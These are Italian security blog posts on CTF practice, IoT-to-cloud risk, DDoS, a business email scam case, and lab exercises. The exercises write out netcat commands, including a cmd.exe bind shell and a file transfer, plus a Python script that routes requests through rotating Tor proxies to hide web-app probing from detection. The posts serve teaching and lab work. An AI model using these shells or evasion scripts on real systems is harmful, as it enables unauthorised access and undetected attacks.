A chi è del mestiere ed è attivo da qualche annetto nel mondo cyber security (e/o ambienti acari di un tempo non così lontano) potrebbe capitare di essere poco avvezzo all’utilizzo di strumenti di apprendimento come gli ambienti simulati ed appositamente preparati per essere “attaccabili”.
Personalmente ne faccio poco uso pur trovandoli molto divertenti ed interessanti: il mio approccio mi porta a trovare più stimolante costruire un ambiente realistico, spesso riproducendo scenari reali che ho incontrato, per allenare una tattica o preparare qualcosa di nuovo. Ovviamente questo ha senso per chi ha esigenza di immergersi in scenari reali, mentre chi è in una fase di studio o di miglioramento di specifiche skills probabilmente trova più vantaggioso utilizzare un ambiente simulato e preparato appositamente per quell’esigenza.
Ho avuto modo di usare diverse piattaforme compreso il progetto italiano pwnx.io che, lo dico senza problemi, a me piace molto. Si tratta chiaramente di ottime risorsa per imparare, per prendere confidenza con gli ambienti, per crescere. Va anche tenuto in considerazione il fatto che il mondo vero di solito è un po’ diverso, non intendo più facile o più difficile ma semplicemente diverso. Usiamo quindi queste piattaforme con la consapevolezza di affrontare qualcosa che è stato creato ad hoc.
Banale? Come al solito sì, ma non credo di essere l’unico che si è trovato d’avanti ad un “Cyber Security Expert” con punteggi favolosi sulle piattaforme di simulazione e con gravi lacune tecniche sul funzionamento base di un sistema o di una rete. Diciamocelo, se approcciamo così queste piattaforme – che, ripeto, sono utilissime per imparare – stiamo commettendo un errore non da poco.
Come sempre per me la cosa migliore è fare un po’ di mix, esplorare più scenari, più piattaforme, più argomenti e farsi un’idea generale per poi approfondire l’ambito che più ci interessa o dove preformiamo meglio… ma approfondire sul serio, non solo a livello di tools e scripts da usare in batteria… non basta capire come funzionano le cose ma anche perché funzionano. La famosa differenza tra “apprendere” e “comprendere” (rif. alle lezioni di Umberto Galimberti).
Con questo spirito condivido gli articoli ed i post sui miei lab di studio che simulano situazioni reali e con questo spirito questa sera partecipo ad una CTF con un team letteralmente improvvisato al puro scopo di condividere un’esperienza assieme ed imparare dal confronto (https://ctf.nahamcon.com/).
Per chi vuole fare due chiacchiere ci vediamo questa sera sul mio server Discord o sul canale Twitch.
Vi condivido una breve riflessione a seguito di diversi casi reali che ho avuto modo di osservare nelle ultime settimane, ovviamente senza dare riferimenti di nessun tipo sui protagonisti. E’ per me importante condividere questo tipo di esperienza per un motivo banale: è qualcosa che può accadere a chiunque e non è detto che si abbiano gli strumenti per intercettare rapidamente alcuni indicatori di compromissione, è quindi opportuno condividere esperienze in merito al fine di essere tutti più consapevoli.
Lo scenario è oggi un grande classico ma solo un paio di anni fa, quando ne parlavo con i diretti interessati, sembrava fantascienza: un dispositivo IoT interconnesso alla rete dell’azienda con esigenza di accesso alla rete internet per conversare, anche solo dall’interno verso l’esterno, con i sistemi in cloud del fornitore e/o gestore del servizio. Nel corso dell’ultimo anno ho seguito diverse attività in ambito cyber sec. in contesti di “rete di fabbrica” ed ho avuto la fortuna di vedere in dettaglio alcune implementazioni. La banalizzo un po’ per rendere il concetto fruibile a più persone possibili, gli esperti mi perdoneranno ed eventualmente integreranno con la loro saggezza (sempre apprezzata).
Di solito abbiamo diversi dispositivi che dialogano con i sistemi di produzione per raccogliere informazioni e/o impartire istruzioni. I sistemi su cui queste informazioni vengono depositate possono essere all’interno dell’infrastruttura di rete come all’esterno. Molti player del mondo Public Cloud mettono a disposizione fantastiche piattaforme per la gestione di questi dati, non è quindi raro trovare sistemi IoT che dialogano con l’esterno della rete per atterrare sui sistemi che ospitano i servizi incaricati di elaborare i dati raccolti.
Quella che nel disegno è definita come “magic network(s)” sappiamo essere un tema complesso ma non è il focus di questo post; l’argomento segregazione delle reti in ambito IT ed OT in risposta alle esigenze di prevenzione delle minacce informatiche che hanno come target i sistemi industriali merita un capitolone dedicato. In questa occasione mi concentro sulle implicazioni di un sistema che dall’interno della rete è titolato a dialogare con un sistema all’esterno della rete di cui non abbiamo una completa gestione (visto che non è nostro) e di cui non siamo in grado di definire direttamente le politiche di sicurezza dovendo accettare, si spera dopo averle validate, quelle del fornitore.
In relazione ai dati scambiati il tema è relativamente semplice: proporzionalmente all’impatto che avrebbe la perdita, la manomissione o la sottrazione di questi dati dovremmo definire delle politiche di protezione, dalla sicurezza della comunicazione alle politiche di backup dei dati storici. Questo è un elemento che di solito trovo presidiato: si cerca di utilizzare protocolli che facciano uso della cifratura e si prediligono servizi consoni al trasferimento di informazioni. Per farla breve, c’è ancora chi spara archivi .zip via FTP ma, almeno nei contesti in cui opero io, sono decisamente pochi.
Avendo la possibilità di dialogare sempre con la propria infrastruttura cloud il dispositivo IoT viene spesso dotato di procedure di self provisioning si per le configurazioni che per le componenti software, fino a poter anche aggiornare il firmware del dispositivo stesso. E’ una scelta tecnicamente validissima in quanto da modo al fornitore di aggiornare il dispositivo senza intervenire on-site, sarà quindi il dispositivo a chiedere ai sistemi centralizzati se ci sono nuovi elementi software da installare o configurazioni da modificare. Per chi fa il mio lavoro ricorda molto il funzionamento dei C2.
Se chi gestisce la rete in cui il dispositivo viene inserito ha l’onere di assicurarsi che le policies di comunicazione siano idonee (ne parliamo in un post a parte come già detto), chi gestisce la cloud deve garantire la sicurezza delle informazioni e dei sistemi a cui i devices accedono. Un threat actor in grado di accedere ai sistemi cloud potrebbe compromettere in profondità il sistema in cloud oppure potrebbe limitarsi a manomettere il sistema al fine di far atterrare sul device IoT una componente malevola. In questo caso l’attacker avrebbe potenziale accesso a tutti i sistemi IoT che afferiscono alla cloud compromessa.
La scelta dipende ovviamente dalle funzionalità che il sistema mette a disposizione: se è possibile impartire comandi al dispositivo IoT (ci sono sistemi che lo prevedono per garantire un certo livello di amministrazione) diventa possibile eseguire azioni anche molto invasive dall’interno della rete target in un contesto tipicamente delicato come la rete di fabbrica, diventa quindi semplice eseguire attività di ricognizione a caccia di altri sistemi o informazioni utili a mettere radici.
Come intercettare il problema
Premesso che dovremmo iniziare a lavorare di prevenzione qualificando opportunamente i fornitori, è bene avere una strategia di intercettazione e gestione di questa tipologia di incident. Non avendo pertinenza sulla componente cloud ed essendo le comunicazioni necessariamente autorizzate oltre che cifrate, la detection difficilmente può avvenire a monte (non impossibile, ma difficile). Quello che possiamo sicuramente fare è lavorare sulla pertinenza locale: eventuali attività da parte dell’attacker genereranno sicuramente del traffico in rete verso destinazioni differenti dalle solite. In molti casi questi dispositivi dialogano con un numero limitato di sistemi interni, potremmo quindi insospettirci di qualsiasi comunicazione verso hosts insoliti (funzionalità disponibile in molte soluzioni di detection).
Anche il tipo di traffico è un elemento importante, questi sistemi solitamente utilizzano un set specifico di protocolli del mondo OT oltre ad HTTPS per la comunicazione con le API ed a qualche protocollo base come NTP e DNS. Proprio su questi ultimi due va fatto un focus ulteriore: esistono diverte tattiche di tunnelling basate proprio su questi protocolli, pur essendo traffico spesso legittimo è bene fare degli approfondimenti per verificare che non siano in corso azioni di exfiltration. Personalmente suggerisco di utilizzare, se disponibili, servizi interni per NTP e DNS in modo da negare il traffico verso l’esterno da questi dispositivi, ma non è sempre possibile.
Gli attacchi informatici, ce lo diciamo spesso, non sono composti da singola azioni chirurgiche. Esiste un path, un set di azioni che vengono svolte in sequenza e che inevitabilmente lasciano qualche traccia. In un contesto come quello descritto, in cui l’attacker di fatto trova un punto di accesso a causa di un problema introdotto da un terzo attore, è indispensabile essere preparati per intercettare gli effetti delle azioni di attacco più che le azioni in se in quanto potenzialmente non visibili.
Conclusioni e riflessioni
Nel prossimo periodo parlerò in più occasioni di detection e delle soluzioni e servizi che possiamo mettere in campo a tal fine. In questa occasione la riflessione che vorrei portare si riferisce ad un tema di strategia e predisposizione. E’ ovvio che le aziende debbano dotarsi di strumenti che avranno l’esigenza di dialogare con l’esterno della rete. E’ anche ovvio che le aziende non possono gestire la sicurezza informatica dei propri fornitori. Quello che è possibile fare è qualificare il fornitore definendo dei requisiti minimo di sicurezza che il fornitore deve rispettare.
Le aziende e le organizzazioni sono troppo interconnesse tra loro per non considerare questo aspetto della sicurezza informatica. E’ un tema di strategia che possiamo gestire in modo strutturato.
Qualche giorno fa, assieme ai mitici Stefano Giraldo, Andrea Dainese e Mario Rosi, abbiamo condiviso una sessione su Twitch (disponibile a breve anche sul mio canale YouTube) sul tema Anti-DDoS in cui Stefano ci ha illustrato il funzionamento delle tecnologie di mitigazione di questa tipologia di attacchi e gli scenari per una corretta difesa.
L’occasione è stata utile per discutere anche alcune tecniche di DDoS che fanno uso tattiche di “amplificazione” degli attacchi, una pratica particolarmente furba che vorrei approfondire in una delle prossime live.
Stefano ha acconsentito alla distribuzione delle slide che trovate di seguito:
Ringrazio ancora una volta Stefano per averci messo a disposizione il suo tempo e la sua competenza per discutere apertamente di temi complessi al solo scopo di condividere un po’ di cultura ed esperienza.
Approfitto della sessione live #studywithme che ho iniziato a proporre il martedì sera sul mio canale Twitch per proporre una “dispensa” sugli argomenti trattati. Premetto che la live in questione è durata poco in quanto lo scorso martedì ero abbastanza provato dallo giornata, abbiamo comunque introdotto netcat e ci siamo scontrati (come spesso capita) con i limiti delle versioni disponibili per MS Windows.
Prima di passare all’esplorazione dell’utility dedico qualche minuto al reperimento della stessa. Mentre se avere una linux-box potrete tranquillamente installare quello che vi serve dai pacchetti della vostra distro, su Windows bisogna necessariamente reperire il binario ed assicurarsi che il vostro sistema anti-malware non lo vada a spianare al primo utilizzo. Per poterlo utilizzare nella mia macchina di test su VirtualBox ho dovuto necessitamene disattivare prima Defender e creare poi una eccezione. Ho utilizzato il binario disponibile qui: https://nmap.org/ncat/.
screen della vm Win10
Predisporre il lab con una macchina Windows ed una macchina Linux ci consente di seguire gli esempi della documentazione #OSCP. Ovviamente possiamo tranquillamente lavorare anche sono con ambienti *nix like.
Utilizzo base
Fondamentalmente netcat è una utility che ci consente di leggere e scrivere dati attraverso una connessione di rete sia via TCP che via UDP. Possiamo quindi utilizzarlo per connetterci ad un servizio come un POP o SMTP server:
classica connessione ad un servizio
Una delle funzionalità che più rimanda al tema delle reverse shell è la possibilità di mettere in listening su una porta specifica netcat:
$ nc -nlvp 1337
Listening on 0.0.0.0 1337
Una volta avviata la sessione possiamo ovviamente provare ad interagire ad esempio eseguendo una richiesta tramite un client come un browser:
HTTP GET da un browser
La funzione di per se è utile per fare delle verifiche a livello di comunicazione. Più frequentemente questa funzionalità è utilizzata per ricevere una sessione da un “client” netcat che, senza altri accorgimenti, consentirà di inviare e leggere i caratteri all’interno della sessione in entrambe le direzioni:
connessione “client/server”
Passando ad utilizzi più pragmatici vi è la possibilità di trasferire file da un sistema all’altro semplicemente con il comando:
$ nc -v {HOST} < /usr/share/windows-binaries/wget.exe
Connection to 192.168.1.12 1337 port [tcp/*] succeeded!
Ovviamente lato sistema target va prima reindirizzato l’output verso un file “destinazione”:
c:\Test>nc -nlvp 1337 > wget.exe
listening on [any] 1337 ...
Il risultato sarà l’upload del file wget.exe sulla macchina target.
E arriviamo all’utilizzo per il quale probabilmente è più famoso: la possibilità di gestire una shell attraverso una sessione. Il funzionamento in tal senso è molto semplice, abbiamo visto come aprire una sessione di comunicazione tra due macchine al fine di inviare semplici caratteri, ora possiamo utilizzare qualcosa di simile per legare un processo come cmd.exe alla sessione TCP. La funzionalità è disponibile solo per le versione che presentano il flag -e, controllare questo requisito.
c:\Test>nc -nlvp 1337 -e cmd.exe
listening on [any] 1337 ...
Il comando per connettersi alla sessione, che dovrebbe restituire il prompt dei comandi di DOS, è altrettanto semplice:
$ nc -v 192.168.1.12 1337
la classica reverse shell
Qualche curiosità
Netcat è uno strumento molto duttile utilizzato, anche se forse non frequentemente, in molteplici scenari. Ho raccolto qualche esempio che credo possa valere la pensa di tenere a mente.
Personalmente l’utilizzo principale è quello relativo alle reverse shell e l’impiego in contesti di troubleshooting su anomalie di rete o verifica della bontà delle richieste. L’utilizzo, negli esempi della porta 1337 è ovviamente un riferimento nerd al leet, ma è effettivamente la porta che utilizzo nei miei lavoratori. In contesti reali come attività di Pen Testing o simulazioni di solito valuto in base al contesto quali porte utilizzare e, soprattutto, non utilizzo netcat in queste modalità in quanto tutto il traffico sarebbe in chiaro. Nella prossima live, programmata per martedì 01 novembre, ci avviciniamo di più a quello che potremmo fare in una sessione di PenTesting.
La domanda che più frequentemente mi viene posta è: “quando trovi il tempo di studiare?”. Sono ragionevolmente convinto che sia lo stesso per molti colleghi del vasto mondo info sec. E’ un dato di fatto che nella maggior parte dei contesti lavorativi buona parte del tempo è dedicato alla prestazione ed una piccola parte all’allenamento. E’ evidente che chi riesce a bilanciare opportunamente queste due indiscutibili esigenze tendenzialmente si trova ad avere team più preparati e con una certa tendenza alla crescita.
Il libro è “Hacking, The art of exploitation”
Ora è anche vero che trovare il giusto compromesso non è sempre facile e molto dipende dal contesto in cui si opera. Aggiungo che molto dipende anche da cosa noi volgiamo per noi stessi: esistono temi che personalmente mi affascinano molto e che vorrei approfondire ma che oggi sarebbero poco applicabili nel contesto lavorativo. Non tutti lavoriamo in un contesto R&D ed è normale che nello spazio degli slot operativi non ci sia modo di studiare tutto quello che vorremmo studiare. Io in particolare passere decine di ore ad approfondire e sperimentare, potrei fare solo quello senza mai stancarmi ma obiettivamente non è fattibile se non in contesti specifici.
Personalmente faccio parte di quella enorme schiera di appassionati che, oltre a cercare di dedicare quello spazio operativo all’allenamento, dedica spazi personali allo studio. Il motivo principale è che mi piace, sono appassionato di scienza e tecnologia e dedico il mio tempo libero a leggere ed approfondire diversi ambiti, dall’astronomia alla fisica, dalla cyber sec. alla programmazione. Il secondo motivo, non meno importante, è relativo ai miei obiettivi personali: mi piace il lavoro che ho scelto, mi piace confrontarmi con gli altri colleghi, mi piace poter condividere ciò che imparo tanto quanto mi piace imparare dagli altri. Tutto questo mi spinge a studiare.
E arriviamo alla domanda: quando? Ogni volta che posso 🙂 Nel tempo ho creato una mia routine, dedico alcune sere allo studio personale ed alla condivisione di alcuni argomenti (su questo blog trovate diversi esempi). Da qualche mese condivido in live le sessioni di laboratorio, sono di fatto mie occasioni di studio. Da oggi (18 ottobre) sarò live con la mia sessione di studio del martedì sera sul mio canale Twitch.
A questo si aggiungono le opportunità di partecipare a webinar ed eventi formativi, oltre che a corsi specifici. Sui corsi e sulle certificazioni si apre un capitolo a parte, ne parliamo un altra occasione 🙂
Nelle attività di Red Teaming ed Adversary Simulation vi è la necessità di condurre l’azione, se lo scenario lo richiede, senza essere individuati. Una dalle attività che vorrei meglio indagare è la creazione di una falsa “baseline” per ingannare i sistemi di detection. In questo esercizio di laboratorio metto le basi per la creazione di traffico http/https da utilizzare per coprire azioni offensive verso una web application.
Scenario
Questo primo laboratorio nasce da una esigenza specifica che recentemente ho avuto modo di portare all’interno di una delle sessione live su Twitch: dovendo analizzare un sistema target senza essere identificati – e quindi “bloccati” dall’amministratore – ho avuto la necessità di generare traffico verosimile verso il sito web. Quasi contemporaneamente ho avuto modo di discutere con diversi Red Team di approccio e metodi per condurre azioni silenziose e ho voluto fare qualche esperimento.
Il target del laboratorio è una macchina dvwp, sistema che stiamo utilizzando io ed Andrea per le nostre sessioni Red vs. Blue ma va benissimo un qualsiasi web server in grado di registrare i log di accesso al sistema. Per eseguire la detection vorrei utilizzare un sistema in grado di analizzare i log in modo semplice. Mentre scrivo non so ancora se utilizzerò Splunk o Graylog.
Divido questa prima parte del lab in più step:
Infrastruttura proxy per utilizzo di più IP sorgenti
Script di crawling per definizione page list
Script di generazione traffico
Una volta portata a termina la prima fase potremo iniziare ad osservare il comportamento dello script grazie all’analisi dei log.
Più sorgenti IP
Inizialmente avevo pensato di utilizzare una tecnica di spoofing con scapy, non ho completamente abbandonato l’idea ma facendo un po’ di prove ho trovato più utile in questa fase utilizzare la rete Tor per far pervenire al web server chiamate da diversi IP. Per generare una quantità di traffico verosimile, corrispondente a più utenti che contemporaneamente accedono al sito target, non basta un singolo proxy in quanto l’IP di navigazione sarebbe unico all’interno della stessa finestra di tempo. L’idea è quindi di avviare più istanze Tor per ottenere diversi “path” di navigazione e quindi, in teoria, diversi exit node.
Nei log del web server mi aspetto quindi vengano registrati gli accessi di almeno tre IP address, in caso di utilizzo di tre istanze proxy, che dovrebbero anche variare dopo qualche minuto.
A livello di implementazione la base Tor è molto semplice, è ovviamente necessario disporre di almeno una macchina linux in cui installare il pacchetto con il comando:
$ apt install tor
Una volta installato ed avviato il servizio dovreste poter controllare lo status dello stesso. Nel mio caso la situazione post installazione (ho utilizzato un host Ubuntu LTS) è la seguente:
stato del demone Tor
Di default Tor utilizza la porta 9050 sulla loopback della macchina server su cui è installato, nel nostro laboratorio dobbiamo fare qualche modifica per ottenere tre istanze su tre differenti porte utilizzando l’IP di una delle interfacce di rete del sistema.
Il file di configurazione di base è /etc/tor/torrc di cui creeremo tre copie: torrc_1, torrc_2, torre_3. Per ogni file di configurazione imposteremo tre diverse tcp port, nel mio caso 9061, 9062, 9063:
configurazione del file torrc_1
Nello stesso file va anche definita una DataDirectory specifica, nel mio caso ho definito i path /var/lib/tor1, /var/lib/tor2, /var/lib/tor3. Una volta predisposti i file di configurazione possiamo quindi avviare le nostre tre istanze con il comando:
$ sudo tor -f /etc/tor/torrc_1 &
$ sudo tor -f /etc/tor/torrc_2 &
$ sudo tor -f /etc/tor/torrc_3 &
Il risultato deve essere di tre processi attivi e relativi servizi sulle porte definite:
Giunti a questo risultato abbiamo predisposto la base proxy. Ovviamente la quantità di processi è a vostra discrezione, il consumo di per se è basso e dipende molto da quanto traffico si andrà a generare. Il sistema che ho utilizzato per questo LAB è il mio “cube-pc”, non particolarmente potente ma abbastanza carrozzato a CPU. Una volta a runtime raccoglierò anche la statistiche di carico.
Generare la lista delle pagine “valide”
Obiettivo del lab è generare traffico verosimile, non possiamo quindi permetterci di ottenere una sfilza di errori 404 come abbiamo avuto modo di osservare in una passata sessione Red vs. Blue con Andrea in occasione dell’utilizzo di DirBuster. L’idea è di utilizzare un semplice crawler per raccogliere i link disponibili in una pagina del sito target per generare poi le richieste che simuleranno il traffico di ipotetici utenti.
Di tools a questo scopo ce ne sono centinaia, ma visto che lo scopo di queste sessione sessioni è approfondire e capire ci armiamo di python e ci creiamo il nostro piccolo crawler. Nulla di particolare, dobbiamo solo accedere al contenuto di una pagina web, estrarre tutti i link (che in HTML sono definiti con <a href=”https://www.sito.web/”>link</a>) e posizionarli in un file di comodo. Lo script fatto per l’occasione lo trovate nella mia repo GitHub all’interno del progetto sToolz: https://github.com/roccosicilia/sToolz/tree/master/RedTeam/AnonHttpReq.
Il funzionamento è molto semplice, lo script va lanciato dandogli come parametro la URL del sito target ed il nome file su cui riportare i link:
test dello script su questo blog
Lo script utilizza il file generato scrivendo in “append” eventuali nuovi contenuti ed è possibile passare come paramento anche una specifica pagina ottenendo l’arricchimento della lista dei link.
Componiamo l’arma cibernetica
Ora abbiamo i proxy e la lista degli URL validi da utilizzare, manca solo lo script per generare delle requests realistiche. Si tratta di una componente in realtà molto semplice da realizzare in quanto per utilizzare un proxy in una chiamata http/https possiamo tranquillamente utilizzare il modulo requests di python. Volendo essere particolarmente precisi potremmo eseguire richieste ad intervalli irregolari attingendo dalle URL in modo random.
Lo script che realizziamo deve prevedere tre parametri in input: la URL target, il file in cui sono presenti i link generati dal crawler e le iterazioni (quante richiesta fare). Si tratterà quindi di un classico ciclo in cui, per ogni iterazione, sceglieremo random il link target ed il proxy da utilizzare. Di seguito la porzione di codice del prototipo (nella repo trovate tutto):
while (i <= counter):
pos = randrange(0, urls_num)
socksp = randrange(1, 4)
print("Select URL in pos {}, proxy {}: \t{}".format(pos, socksp, urls[pos]))
# session.get(urls[pos]).text
session.proxies = { 'http': 'socks5://192.168.1.6:906{}'.format(socksp), 'https': 'socks5://192.168.1.6:906{}'.format(socksp) }
session.get(urls[pos])
i = i+1
Ovviamente gli IP indicati nei socks5 si riferiscono al mio laboratorio e terminato il prototipo avrà senso portare queste info in un file di configurazione assieme a molte altre variabili.
Se abbiamo già a disposizione un elenco URL in un file precedentemente creato possiamo eseguire una prova verso il nostro target:
Facendo qualche test ho notato che ogni tanto i proxy vanno in timeout, c’è sicuramente del tuning da fare per rendete tutto più fluido gestendo la specifica eccezione.
Cosa manca?
Nella repo di sToolz trovate tutti gli script aggiornati e nelle prossime ore ci rimetteremo mano assieme grazie alla Live su Twitch prevista per il 14 ottobre alle 21:30. Oltre a sistemare un po’ la struttura dello script dobbiamo ovviamente sistemare un po’ di dettagli come lo user agent che viene registrato dai log del web server.
Diciamo che la base è pronta, bisogna sistemare i dettagli e rendere tutto utilizzabile con un mail script unico. Dopo di che potremo mettere alla priva il risultato assieme ad Andrea e, nella seconda parte, vediamo come predisporre un controllo che rilevi questo tipo di azioni.
Qualche giorno ho tenuto la mia docenza al Master organizzato da 24Ore Business School in Cybersecurity e Data Protection. E’ la mia terza docenza in questo contesto ma questa volta siamo riusciti ad organizzare la sessione in presenza. Bisogna dirlo: è tutta un altra cosa. Sono un convinto sostenitore del lavoro da remoto e del lavoro agile e in questo contesto va anche apprezzata l’esperienza “dal vivo” laddove questa porta valore.
l’aula di sabato 8/10, sono quello con la barba
Se l’esperienza ha portato valore ai colleghi in aula lo dovranno dire loro, apprezzati i feedback di chi leggerà questo post. Ha sicuramente portato valore a me che, nel poter guardare in faccia i colleghi, ho potuto ricevere immediati feedback anche solo dagli sguardi dei presenti e, tema non banale, ho apprezzato una maggiore partecipazione.
Tutti temi scontati e ovvi? Probabilmente si, ma in un mondo in cui la soggettività sta emergendo in modo preponderante non so quanto l’ovvio, inteso come senso comune, sia veramente ovvio. Di questa riflessione pseudo-sociologica, che ho letto non mi ricordo dove, ha trovato un chiaro esempio a questa ultima sessione del Master grazie ad una domanda.
Durante la sessione si è spesso parlato di rischi percepiti in riferimento al fatto che molte aziende non conoscono come alcune minacce cibernetiche si manifestano, situazione che porta le aziende ad ottenere una cattiva postura di sicurezza. Di questo tema ho molto parlato in passato parafrasando Sun Tzu che a tal proposito suggerisce di sviluppare una buona conoscenza del nemico per definire una buona strategia di difesa.
Mostrando alcuni elementi “base” di ciò che i threat actor osservano delle proprie potenziali vittime e di come vengono sfruttate determinate informazioni apparentemente di poco conto una domanda ricorrente è stata: “ma le aziende sono consapevoli?“. Domanda estremamente corretta visto il contesto è che punta ad un tema che è forse il vero punto di partenza di un percorso, in ambito sicurezza informatica, che abbia veramente un senso. Come è possibile che elementi che sono ovviamente – dal mio punto di vista – sfruttabili da potenziali avversari siano così poco gestiti dalle organizzazioni?
Non ci sono scorciatoie per ottenere una buona postura di sicurezza, necessariamente dobbiamo prima maturare una certa consapevolezza di ciò che dobbiamo affrontare, ognuno nel nostro campo (non esiste solo il mondo tech). Adottare soluzioni che fungono in realtà da rimedio temporaneo ad un malessere che non abbiamo compreso bene rischia di non farci raggiungere l’obiettivo. Ogni tanto qualcuno afferma che sia “meglio di niente” in riferimento all’introduzione di nuove tecnologie o servizi pensati per la sicurezza informatica. Probabilmente lo è, ma in questo paragone dovremmo cominciare ad inserire anche il peso di un falso senso di sicurezza. Le classiche situazioni da “porte blindate e finestre aperte” sono fin troppo frequenti e non rappresentano un miglioramento.
E’ corretto portale l’attenzione sulla consapevolezza, cosa che possiamo acquisire visto che siamo capaci di ragionare ed assimilare informazioni.
Questa sessione del Master ci ha dato modo di confrontarci direttamente oltre che presentare ciò che era in programma. Il confronto diretto resto, per me, uno strumento potentissimo che vorrei continuare ad incentivare. In questo momento chi vuole confrontarsi con me e con gli altri attori di questo mondo mi trova sempre disponibile su LinkedIn ed ogni venerdì sera in una Live dedicata su Twitch. Vi aspetto.
Il 5 ottobre ho presenziato al GDPR day organizzato dal super Federico Lagni a Bologna. Quest’anno il mio team ha partecipato con una sponsorizzazione all’evento che ha l’obiettivo, che condivido pienamente, di formare oltre che informare.
Per 25 minuti abbiamo raccontato uno spaccato di realtà di come operano i threat actor (anche io uso un po’ di parole fighe ogni tanto) illustrando le fasi di un tipico attacco, tratto da esperienze sul campo, per analizzarlo assieme e comprenderne i meccanismi. L’obiettivo è, come spesso racconto, conoscere meglio il nostro “nemico” e, di conseguenza, comprendere come difenderci in modo efficace.
In questo post, che probabilmente sarà un po’ lungo, voglio raccontarvi quello di cui abbiamo parlato. Ovviamente leggerlo su queste pagine non è uguale ad ascoltarlo durante la sessione con la possibilità di interagire e discuterne assieme, ma confido in future occasioni alle prossime edizioni di questo o altri eventi.
Fasi di un attacco
Spesso si ha l’idea che un attacco sia una singola e deflagrante azione, un singolo colpo. Ciò che avviene è in realtà molto diverso sia per la quantità di attività che precedono l’azione di attacco vero e proprio che per i tempi che queste attività richiedono. Gli addetti ai lavori parlano infatti di “fasi” di un attacco informatico. Esistono diversi modelli che sintetizzano le fasi di un attacco di cui nell’immagine che segue ne riporto uno relativamente recente in riferimento ad una specifica tipologia di attacco: i ransomware.
Più in generale l’attacker inizia la sua attività da una fase ricognitiva in cui raccoglie informazioni sul target. Ognuno di noi, sia come individui che come membri di una organizzazione, semina diverse tracce ed informazioni in rete sul proprio conto: contatti, abitudini, preferenze, qualifiche. Questo patrimonio di dati viene raccolto ed analizzato al fine di costruire un modello del target da studiare; ovviamente vi è una proporzionalità tra l’accuratezza della profilazione e la quantità di informazioni disponibili.
Alcune informazioni possono essere reperite grazie ad azioni più invasive come una campagna di phishing mirata e studiata appositamente per entrare in possesso di una credenziale valida. Altre potrebbero non richiedere azioni dirette verso il target: in alcuni casi l’attacker potrebbe accedere o acquistare informazioni o dati relativi a precedenti azioni offensive verso l’organizzazione o ai datti di uno dei dipendenti.
Facciamo un paio di esempi pratici per comprendere meglio che dati possono essere utilizzati contro di noi ed in che modo vengono reperiti.
Banking scam
Un’azienda si rende conto di aver subito una truffa bancaria: un cliente afferma di aver provveduto ad un pagamento a seguito di una email da parte di uno dei commerciali dell’azienda ma tale pagamento non è mai giunto a destinazione.
Dal DFIR report (Digital Forensics and Incident Response) emergono alcune evidenze:
l’email inviata al cliente risulta essere autentica
viene identificato un accesso non autorizzato all’account email del commerciale
la password dell’email personale del commerciale è disponibile su “have I been pwned”
l’account del commerciale non dispone di MFA
Con queste informazioni certe in mano possiamo cominciare ad ipotizzare cosa sia successo.
Partiamo dalla cattiva abitudine di riutilizzare password in diversi account. Ne parlo spesso: se la credenziale è la stessa o simile per tutti gli account ovviamente siamo nella condizione in cui anche un solo breach possa avere impatto verso tutti i nostri account. Nel caso specifico la credenziale individuata dall’attacker era quella dell’account di posta elettronica personale del dipendente. E’ già un caso abbastanza eclatante, molto più frequentemente vengono sfruttati data breach di servizi anche molto banali e forse considerati di bassissimo impatto per l’utente che ne fruisce. Potrebbe essere il portale della biblioteca comunale o il sito di un piccolo esercizio dove siamo clienti occasionali. Non importa, se utilizziamo la stessa password che utilizziamo per la posta elettronica aziendale stiamo semplicemente aumentando la superficie attaccabile.
L’assenza di MFA riduce la complessità di una azione offensiva: sarebbe stato molto più complesso e probabilmente non fattibile per l’attacker accedere all’account di posta elettronica se l’organizzazione avesse implementato questo tipo di tecnologia. Da sottolineare che anche in questo caso vi sono metodi di bypass che fanno conto sull’ingenuità e sulla pigrizia degli utenti (parleremo in un altra occasione degli attacchi alla MFA).
Per chi è del mestiere la situazione è già abbastanza chiara. L’attacker ha trovato una credenziale valida e si è assicurato un accesso al servizio di posta da cui ha potuto comodamente consultare i contenuti, gli scambi, i contatti della vittima. Una volta contestualizzato il tutto è stato scelto un cliente con cui la vittima abitualmente dialogava per inviare una email di cambio coordinate bancaria.
Nella sua semplicità l’attacco è estremamente efficace e ci si rende conto di ciò che è avvenuto a cose ormai fatte. Ragionare sui modelli utilizzati dagli attacker per eseguire azioni offensive ci consente di individuare dove l’organizzazione deve migliorare:
c’è sicuramente un tema di awareness da considerare visto l’utilizzo un po’ ingenuo delle credenziali da parte della vittima
probabilmente qualche presidio di sicurezza in più per i servizi IT non sarebbe male, abbiamo parlato di MFA ma anche un controllo sulle tipologie di accesso aiuterebbe
è evidente che non ci sono o non vengono rispettare procedure di verifica delle comunicazioni laddove vi è uno scambio di informazioni sensibili o che toccano processi CORE come la fatturazione e la gestione del credito
Il ragionamento può essere esteso alle metodologie di assessment utili ad eseguire una qualifica dei punti deboli di un’organizzazione al fine di costruire un piano di rimedio coerente con le effettive esposizioni che il target presenta agli occhi di un attacker. L’idea è quindi di spostare il focus, il più velocemente possibile, sulle azioni da compiere per ridurre la superficie attaccabile laddove l’esposizione corrisponde ad una opportunità reale di attacco con relativo impatto sul business.
Ancora una volta prima degli strumenti viene la cultura e la consapevolezza.
Condivido le slide presentate anche se, come sempre, hanno più senso se commentate. Se l’argomento è di interesse (attendo feedback) valuto la registrazione di una presentazione del contenuto per intero. Qui allego le slide:
Non l’ho fatto per la prima live in coppia con Andrea, ho pensato di farlo per la seconda sessione di ieri sera sul canale di Security Cert. Come ho raccontato un paio di settimana fa abbiamo in testa questa idea da qualche tempo ormai: condividere delle sessioni di analisi di un target per definire una strategia di attacco (lato mio) e una strategia di difesa (lato Andrea). Nella prima puntata abbiamo visto il contesto e la base di partenza del lab, una tipica VPS che espone una web app con qualche vulnerabilità. Ieri, in occasione della seconda puntata, abbiamo iniziato ad analizzare il target ed il questo post faccio un po’ la sintesi di quello che ci siamo detti, ovviamente dal mio punto di vista.
Qualche info di servizio prima di iniziare a discutere le azioni intraprese:
il video della live è archiviato sul canale YouTube di SecurityCert e lo trovate qui
sul mio canale porterò avanti le fasi di preparazione alla live, trovate la programmazione qui
la prossima live è programmata per il 06/10/2022
se volete partecipare attivamente alla sessione assieme ad Andrea (nelle azioni difensive) o assieme a me (nelle azioni offensiva) i dati di accesso all’ambiente vengono condivisi con i partecipanti alla sessione
Cosa abbiamo di fronte
